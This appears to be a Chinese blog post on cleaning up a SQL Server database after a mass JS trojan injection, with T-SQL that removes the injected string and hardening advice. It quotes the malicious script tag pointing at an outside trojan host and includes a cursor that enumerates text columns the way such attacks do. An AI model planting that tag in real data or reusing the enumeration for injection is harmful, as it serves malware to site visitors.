SQL数据库表防JS木马注入
今天早上,打开网站一看,发现在自己的网站里面的图片全部不显示了,取而代之的是一串木马网址,被黑!
经过一整天的处理现在算是正常运转了,先将些许代码整理如下:
首先打开数据库后,发现所有的数据字段中每个字段都被插入了木马网址,整个网站三十多张表,每张表N个字段,手工删除肯定是麻烦之极,经过整理写出来了一段替换字符
----------------------替换数据表中每个字符段内中的特殊值------------------------
--鉴于获取数据表的列表数据时候经常需要获取字段名称。特整理了下如下代码。
--适用场合:设计或者更新SQL存储过程的Select语句或者Insert语句
--返回字符串格式类似于:"ID,BeginTime,EndTime,AddIP,UpdateUser,UpdateTime,UpdateIP"
--Select name from syscolumns Where ID=OBJECT_ID('数据表名称')
--定义数据表名称
Declare @TargetTableName nvarchar(250)
Set @TargetTableName='表名称'
--定义列总数
Declare @TotleColumns int
select @TotleColumns=Count(*) from syscolumns Where ID=OBJECT_ID(@TargetTableName)
--print @TotleColumns
--select * from syscolumns Where ID=OBJECT_ID(@TargetTableName)
--定义所有字段名称字符串
Declare @ColumnsString nvarchar(4000)
Declare @TempName nvarchar(4000)
set @ColumnsString=''
set @TempName=''
declare @i int
set @i=2
while @i<=@TotleColumns
begin
select @TempName=Name from syscolumns Where ID=OBJECT_ID(@TargetTableName) and colOrder=@i
exec(
'UPDATE '+@TargetTableName+' SET '+ @TempName+'= replace('+ @TempName+',''<script src=http://makeupcn.cn/x.js></script>'','''')'
)
-- Set @ColumnsString=@ColumnsString+','+@TempName
set @i=@i+1
end
-- 显示结果
exec(
'select * from '+ @TargetTableName
)
本来想使用游标实现整个数据库的遍历,由于时间紧凑,就手动的一张张表进行筛选。
对于数据库安全性的解决之道:
sql 2000的做法:
1、不要使用sa用户连接数据库
2、新建一个public权限数据库用户,并用这个访问数据库
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”
5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):
DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype= 'u ' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN print @c
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
恩,就是这样了,但愿该木马不要再来兴风作浪